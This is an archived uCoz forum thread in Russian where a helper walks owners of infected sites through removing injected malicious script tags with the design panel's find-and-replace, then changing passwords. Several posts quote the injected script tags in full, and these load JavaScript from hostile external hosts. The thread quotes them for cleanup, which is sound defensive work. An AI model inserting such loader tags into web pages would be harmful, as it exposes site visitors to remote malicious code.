Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_3 (архив для чтения)
Вирусы на сайтах_3 (архив для чтения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 2011 | 12:35:48
hazardcd, ваш сайт заражен

панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт

Код
<script language="javascript" src="http://golink1.ru9.biz/js/back.php?id=43"></script>


поле на что заменить оставляете пустым и производите замену во всех модулях

тоже самое делаете с куском

Код
<script language="javascript" src="./js.php?s=54"></script>


в блоке отзыв о сайте вы ставили рекламу?

Код
<script type="text/javascript" src="http://wap-dns.in/n1/js.php?i=1472&l=1"></script>
если нет, то удалите

после чистки вам нужно обязательно изменить пароль uid профиля.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
SkayeR
Сообщений: 2
Репутация: 0

Сообщение # 2012 | 20:45:43
Вечер добрый, в ближаейшем времени мой сайт разблокируют? В службу поддрежки писать бесполезно, отвечает уже 2 недели wacko
Сообщение отредактировал SkayeR - Четверг, 09 Май 2013, 20:52:22
admin3862
Сообщений: 3
Репутация: 0

Сообщение # 2013 | 21:56:38
9 мая 2013г обнаружил на своих сайтах вредоносный код , помогите пожалуйста его удалить.
1.Обнаруживается на всех страницах сайтов Школа 24 елец, matematika24.ucoz.com, вредоносные ссылки одни и теже на обоих сайтах
2. Проблема обнаруживается под логином и под гостем тоже
3. Антивирус КИС 2012
4) Пока не блокируются ниодим браузером
И таких окошек выскакивает 5 шт

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 2014 | 22:22:17
admin3862, сайт http://elschool24.ru/

панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставить скрипт

Код
<script type="text/javascript" src="https://dl.dropbox.com/sh/01qpqzzng3uvqmp/Ib9fwZUJWE/script.js"></script>

поле на что заменить оставить пустым и произвести замену во всех модулях

тоже самое надо произвести со скриптом

Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scripta.js"></script>


и если вы хотите чтобы ваш сайт назывался сайтом, а не свалкой скритпов, то не допускайте подгрузки скриптов с чужих сайтов

примеры

Код
<script type="text/javascript" src="http://up-rise.ru/All-Scripts/resize/1/load/jsibox_basic.js"></script>

Код
<script src="http://www.csomsk.ru/1-ucoz/pm/scrolltopcontrol.js" type="text/javascript"></script>

Код
<script type="text/javascript" src="http://csomsk.ru/1-ucoz/rip/statistika.js"></script>


и обратите внимание на то. что у вас в коде ссылок на картинки и прочий мусор на csomsk.ru больше чем ваших собственных. не копируйте скрипты и прочий мусор с закрытыми глазами

сайт http://matematika24.ucoz.com/

панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставить скрипт

Код
<script type="text/javascript" src="https://dl.dropbox.com/sh/01qpqzzng3uvqmp/Ib9fwZUJWE/script.js"></script>


поле на что заменить оставить пустым и произвести замену во всех модулях

тоже самое проделать со скриптом

Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scripta.js"></script>


и опять же было огромной глупостью ставить крутую форму входа с подгрузкой с чужого сайта

Код
<script type="text/javascript" src="http://webuilder.info/ucoz/uNetAuth.js"></script>


после очистки вам придется сменить все пароли и особенно пароль uid юзера, которым вы администрируете свои сайты. обязательно! и прекратите сбор крутых скриптов

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
admin3862
Сообщений: 3
Репутация: 0

Сообщение # 2015 | 17:51:44
Вот это называется быстрая помощь не прошло и 2-х часов как дали информацию по устранению проблемы. Спасибо администратом!
camper93reg
Сообщений: 120
Репутация: 31

Сообщение # 2016 | 04:03:57
сайт типа заражен http://css-our.ru/
09.05.2013http://www.css-our.ru/forumПоведенческий анализвот что яндекс выдал

Помог? ставь +'uk к репке )))
Vera5543
Сообщений: 8
Репутация: 7

Сообщение # 2017 | 22:56:56
Обнаружила сегодня на сайте счётчик LiveInternet. После этого появляется табличка с предуреждением о вирусе. Антивирусник Касперский, браузер Оpera. Всплывает не только на главной. Помогите, пожалуйста, так как с такой проблемой ещё не сталкивалась: Адрес сайта: Светлячки Вот такая табличка:


[c][/c]

А вот подробный отчёт:

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 2018 | 23:03:45
Vera5543, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляем скрипт

Код
<script type="text/javascript" charset="windows-1251" src="http://youd-invention.in/a/17751375-svetputi.ucoz.ru.js"></script>
- поле на что заменить оставляем пустым и производим замену во всех модулях

или руками из всех шаблонов извлекаем скрипт

Код
<script type="text/javascript" charset="windows-1251" src="http://youd-invention.in/a/17751375-svetputi.ucoz.ru.js"></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 2019 | 23:19:01
camper93reg, из кода мини-чата удалите скрипт с таким адресом

Код
http://js8xt.ru/ves.js

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Vera5543
Сообщений: 8
Репутация: 7

Сообщение # 2020 | 09:25:34
webanet, огромное спасибо за помощь!
koluchij
Сообщений: 13
Репутация: 3

Сообщение # 2021 | 13:03:53
http://sputnikavto.com/
проблема обнаруживается только под логином или под гостем тоже - под гостем
антивирус - аваст

куча всплывающих окон.

Per Aspera Ad Astra
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 2022 | 15:07:02
koluchij, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт

Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scripta.js"></script>
поле на что заменить оставляете пустым и производите замену во всех модулях

далее тоже самое проделываете со скриптом

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>


после очистки обязательно сменить uid пароль

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
koluchij
Сообщений: 13
Репутация: 3

Сообщение # 2023 | 17:46:30
спасибо

Per Aspera Ad Astra
STEVINAY
Сообщений: 3
Репутация: 0

Сообщение # 2024 | 08:59:49


мой сайт: http://trurap.com/

Добрый день! обращаюсь к вам, так как сделал уже всё что было в моих силах дабы избавиться от своей проблемы, но результат никакой.
Вот собственно в чем проблема, яндекс нашол на моём сайте вирус "Troj/SWFExp-AI (по данным компании Sophos)." и внёс его в чёрный список. вирус я никак найти не могу, за период блокировки сайта,я теряю хосты(
не могли бы вы мне помочь найти и удалить его? благодарю наперёд...
с ув. STEVINAY
vitaly576
Сообщений: 319
Репутация: 218

Сообщение # 2025 | 10:54:12
STEVINAY, советую удалить все сторонние js-скрипты. Пока что подозрения у меня пали на:
Код
<script language=JavaScript src=http://js8xt.ru/ves.js></script>
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_3 (архив для чтения)
Поиск: